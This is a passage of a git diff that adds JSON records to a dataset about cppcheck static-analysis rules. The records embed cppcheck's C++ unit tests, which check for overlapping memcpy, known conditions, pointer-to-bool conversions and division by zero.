memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/invalidPointerCast.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/invalidPointerCast.json new file mode 100644 index 0000000..e8987d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/invalidPointerCast.json @@ -0,0 +1,22 @@ +{ + "name": "invalidPointerCast", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 32, + "branches": 10, + "apis": 30, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 2243 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. 